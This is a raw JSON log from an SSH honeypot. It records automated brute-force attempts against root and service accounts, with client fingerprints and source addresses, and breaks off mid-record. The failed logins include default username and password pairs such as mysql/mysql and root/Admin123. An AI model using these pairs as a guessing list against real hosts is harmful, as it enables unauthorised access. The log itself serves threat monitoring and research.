{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:17.344872Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:18.169485Z","src_ip":"185.236.22.41","session":"c25349238b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:18.478147Z","src_ip":"193.46.255.86","session":"a7e50a0982bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39588,"dst_ip":"10.17.0.5","dst_port":22,"session":"99563c0d3468","protocol":"ssh","message":"New connection: 83.168.110.85:39588 (10.17.0.5:22) [session: 99563c0d3468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:18.750830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:18.758220Z","src_ip":"83.168.110.85","session":"99563c0d3468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:18.882949Z","src_ip":"83.168.110.85","session":"99563c0d3468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:19.410569Z","src_ip":"83.168.110.85","session":"99563c0d3468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":34168,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a332f786f38","protocol":"ssh","message":"New connection: 103.173.227.57:34168 (10.17.0.5:22) [session: 4a332f786f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:20.119475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:20.125607Z","src_ip":"103.173.227.57","session":"4a332f786f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:20.368441Z","src_ip":"103.173.227.57","session":"4a332f786f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:20.639810Z","src_ip":"83.168.110.85","session":"99563c0d3468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000007","message":"login attempt [root/0000007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:21.082922Z","src_ip":"103.173.227.57","session":"4a332f786f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:22.325207Z","src_ip":"103.173.227.57","session":"4a332f786f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.71","src_port":3342,"dst_ip":"10.17.0.5","dst_port":22,"session":"c207e0b695ac","protocol":"ssh","message":"New connection: 89.37.117.71:3342 (10.17.0.5:22) [session: c207e0b695ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:24.149330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:24.155141Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:24.284685Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:9b:9e:3e:fe:d6:7b:35:ac:3b:c5:0f:09:df:63:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7mdmuch820VcvoRLLoD9i0fdyldeWmjCFeFOw9gT+uM7EZ7WgaWSOn/RTLyehVM83gqDlzrdgHICOdLDSEnWV6bQiri5Qr4evoL9NgNB2clbpJuRBhAv9/MW8NVqsUq/fIiObh4a981eZ/7yL/3apwzrTzFU3bS8RWOU+QjjfmblqfZEk8exm51vDCzkTdKBE+HIiyZte38qC39rT6Srb9EXxDmsczQFwR9eDOLQflD1+tpN8RFRoSFwD4T6k8Kj5dtSyKbhNnH6JwcKakvo4qlVaoaCoOHO3MVHK1oLkWsms/alnXurXAo8n4cV/LM++4mZOss/c8vPCCOXi+9Kv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:9b:9e:3e:fe:d6:7b:35:ac:3b:c5:0f:09:df:63:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.030485Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:9b:9e:3e:fe:d6:7b:35:ac:3b:c5:0f:09:df:63:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7mdmuch820VcvoRLLoD9i0fdyldeWmjCFeFOw9gT+uM7EZ7WgaWSOn/RTLyehVM83gqDlzrdgHICOdLDSEnWV6bQiri5Qr4evoL9NgNB2clbpJuRBhAv9/MW8NVqsUq/fIiObh4a981eZ/7yL/3apwzrTzFU3bS8RWOU+QjjfmblqfZEk8exm51vDCzkTdKBE+HIiyZte38qC39rT6Srb9EXxDmsczQFwR9eDOLQflD1+tpN8RFRoSFwD4T6k8Kj5dtSyKbhNnH6JwcKakvo4qlVaoaCoOHO3MVHK1oLkWsms/alnXurXAo8n4cV/LM++4mZOss/c8vPCCOXi+9Kv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.034948Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:53:c7:f5:b4:40:eb:45:11:4b:fb:eb:c0:91:bc:c0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAORY+zI7Rvr+Cyoo/g5gY7nI0POH+WHQyl+xrVv1+yQ9DL8Gx1u02EYUJuUQP9S1s/yc8bIHnUga+DjO6JsfyhpV+J2Bu+5172GMm/7kFiyjhC2w/iMoCzms+Mq5y6mx9zyEyQpjV9SRVeVOEYE3ajGs3qj7WvtSSCbm7VQGscVzAAAAFQCN2wlEY/ufLxLyVIVBtjJkDOl5CQAAAIBptEFhVTYD83QP1eWFeAKzXKHNtPngUU1ECNVoujdw1LXriArKKs3YK0dJmtoAQgHz31fuGHYYfQiMlZDwVz5Mot93k8j9krdOAWF1CxEXWSKDhEc+JeFlRXucvhnnubeCZVF3vkTxQXpA9SN5hdAeys+smv6utJqCo0Q+mGm14QAAAIBn0K3Y+UE+QfyOY+lByBiKG0em4aK0rl+Zk0O/dgunD0mUB8/oNn+FlKm9pIDIrqGtqoVI4HT6EKEOWdHbWxTVto0MwDqA3BXe0uB0Wh9YxrM1jcfp021hOfOAsWO+YfFxL4pCjqJWdm89tDHWFZqXB0YBdMcSuNyIkTqm9ntsWg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7c:53:c7:f5:b4:40:eb:45:11:4b:fb:eb:c0:91:bc:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.168669Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:53:c7:f5:b4:40:eb:45:11:4b:fb:eb:c0:91:bc:c0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAORY+zI7Rvr+Cyoo/g5gY7nI0POH+WHQyl+xrVv1+yQ9DL8Gx1u02EYUJuUQP9S1s/yc8bIHnUga+DjO6JsfyhpV+J2Bu+5172GMm/7kFiyjhC2w/iMoCzms+Mq5y6mx9zyEyQpjV9SRVeVOEYE3ajGs3qj7WvtSSCbm7VQGscVzAAAAFQCN2wlEY/ufLxLyVIVBtjJkDOl5CQAAAIBptEFhVTYD83QP1eWFeAKzXKHNtPngUU1ECNVoujdw1LXriArKKs3YK0dJmtoAQgHz31fuGHYYfQiMlZDwVz5Mot93k8j9krdOAWF1CxEXWSKDhEc+JeFlRXucvhnnubeCZVF3vkTxQXpA9SN5hdAeys+smv6utJqCo0Q+mGm14QAAAIBn0K3Y+UE+QfyOY+lByBiKG0em4aK0rl+Zk0O/dgunD0mUB8/oNn+FlKm9pIDIrqGtqoVI4HT6EKEOWdHbWxTVto0MwDqA3BXe0uB0Wh9YxrM1jcfp021hOfOAsWO+YfFxL4pCjqJWdm89tDHWFZqXB0YBdMcSuNyIkTqm9ntsWg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.276752Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54412,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd9998bf48ec","protocol":"ssh","message":"New connection: 83.168.110.85:54412 (10.17.0.5:22) [session: bd9998bf48ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.553141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.559329Z","src_ip":"83.168.110.85","session":"bd9998bf48ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.681664Z","src_ip":"83.168.110.85","session":"bd9998bf48ec","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:3a:a1:c6:b9:b8:bb:ad:3b:44:d0:f3:5c:7f:80:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEH6yCCIuxvIQsWBWxOK6Q2HCHVWsdXCpQ7dfGx8SOxcao0lBlCv/qhcVSf/zVi7vJJePIMBxLCG4grPAkzc3GjroU9vBN7r9w1IZteP//F2wTEPMv5OAd3bKz9QndTdug66rJkpYJb+6VNo76ycAna1jFHZxD/Tx256GkSacFCHOpl6FCYunkeVRY61akImu7gJqEJzL74q5YaTWXj/YxYZnQeG9QaqoACUrqgpdtX8nIc/G5+CRgjZSEioy7HR214pD0XQrloeraHP9Hy1kAiqjEIImzzSSiShskaJKPKT0H13C2CPzaQvOc3O6xr44XHocwWhhwZAO6dkR8K6P9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:3a:a1:c6:b9:b8:bb:ad:3b:44:d0:f3:5c:7f:80:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.756109Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:3a:a1:c6:b9:b8:bb:ad:3b:44:d0:f3:5c:7f:80:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEH6yCCIuxvIQsWBWxOK6Q2HCHVWsdXCpQ7dfGx8SOxcao0lBlCv/qhcVSf/zVi7vJJePIMBxLCG4grPAkzc3GjroU9vBN7r9w1IZteP//F2wTEPMv5OAd3bKz9QndTdug66rJkpYJb+6VNo76ycAna1jFHZxD/Tx256GkSacFCHOpl6FCYunkeVRY61akImu7gJqEJzL74q5YaTWXj/YxYZnQeG9QaqoACUrqgpdtX8nIc/G5+CRgjZSEioy7HR214pD0XQrloeraHP9Hy1kAiqjEIImzzSSiShskaJKPKT0H13C2CPzaQvOc3O6xr44XHocwWhhwZAO6dkR8K6P9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.760787Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:a6:ea:a6:09:28:f0:fa:4f:63:24:33:5a:44:a9:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIkGUcCqGGmZSFtnBdROHTqEtuqtxeONWxZITmYM0GHRZwDChIVRxufBqu0c59S56igL48qPf6FWgciksX4HBrbk9AxgolFsqHKjvO5VSBUcF9y/ifWOe1LsIth8/e2A5xuEUqnflDnI+epQ8tAz59nLlwIGQE5owJ4ruUtwQnQx+kqtVnxvI8S5hdNN8qtUTOTqK3GTCZKnFfRaRJOntDUM8dnr4ZDivzLkaDavuNdibYOCinLLgyA291GShOCjZZb39Vpe7tDfbdcg/EDoEb3aaOK02jId3/WqffuRcOtle9/FWhASKDkFnUyZBudeIGLviBUqu/Cf1vu/vj92rL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:a6:ea:a6:09:28:f0:fa:4f:63:24:33:5a:44:a9:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.894630Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:a6:ea:a6:09:28:f0:fa:4f:63:24:33:5a:44:a9:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIkGUcCqGGmZSFtnBdROHTqEtuqtxeONWxZITmYM0GHRZwDChIVRxufBqu0c59S56igL48qPf6FWgciksX4HBrbk9AxgolFsqHKjvO5VSBUcF9y/ifWOe1LsIth8/e2A5xuEUqnflDnI+epQ8tAz59nLlwIGQE5owJ4ruUtwQnQx+kqtVnxvI8S5hdNN8qtUTOTqK3GTCZKnFfRaRJOntDUM8dnr4ZDivzLkaDavuNdibYOCinLLgyA291GShOCjZZb39Vpe7tDfbdcg/EDoEb3aaOK02jId3/WqffuRcOtle9/FWhASKDkFnUyZBudeIGLviBUqu/Cf1vu/vj92rL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:25.900124Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:72:d7:3c:7a:6c:a0:87:0e:1c:5a:08:e3:2a:04:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzVOh5i48+YglxKxTZQTyM/TrrVJXHywm0KmSIe+GckHYrk4F/C7x9Mt2OBHiIzq9fJZZ+0wjpE5b8TVnaz6mAAMi8SipzuPrOvvN4R/7NlHgYwR0IkzEoj9YPj5GBn0hkW9ETseGrTghHkpWLUJmCC8JSHs8YDyU40ulOW2oC0LGSErI+dPUuH8TTAD63OYDxzEU9A6nKjqcCp0F9yVun1q3s1HQcywTI+pg5KOLn16tJ4JFBcqWQ1SnxHxfqXLrpj9TJRQE0sBfPBalnycUth0BpA88NNk1ly8Kvw/lSbuHQTwve5Px+E/udUbqr8+vuqSpIjWFKyrpSM0AYWrjv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:72:d7:3c:7a:6c:a0:87:0e:1c:5a:08:e3:2a:04:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:26.031206Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:72:d7:3c:7a:6c:a0:87:0e:1c:5a:08:e3:2a:04:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzVOh5i48+YglxKxTZQTyM/TrrVJXHywm0KmSIe+GckHYrk4F/C7x9Mt2OBHiIzq9fJZZ+0wjpE5b8TVnaz6mAAMi8SipzuPrOvvN4R/7NlHgYwR0IkzEoj9YPj5GBn0hkW9ETseGrTghHkpWLUJmCC8JSHs8YDyU40ulOW2oC0LGSErI+dPUuH8TTAD63OYDxzEU9A6nKjqcCp0F9yVun1q3s1HQcywTI+pg5KOLn16tJ4JFBcqWQ1SnxHxfqXLrpj9TJRQE0sBfPBalnycUth0BpA88NNk1ly8Kvw/lSbuHQTwve5Px+E/udUbqr8+vuqSpIjWFKyrpSM0AYWrjv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:26.035381Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:26.050107Z","src_ip":"83.168.110.85","session":"bd9998bf48ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:26.522828Z","src_ip":"89.37.117.71","session":"c207e0b695ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:27.278633Z","src_ip":"83.168.110.85","session":"bd9998bf48ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54422,"dst_ip":"10.17.0.5","dst_port":22,"session":"d006b6c07975","protocol":"ssh","message":"New connection: 83.168.110.85:54422 (10.17.0.5:22) [session: d006b6c07975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:32.623779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:40:32.629661Z","src_ip":"83.168.110.85","session":"d006b6c07975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","e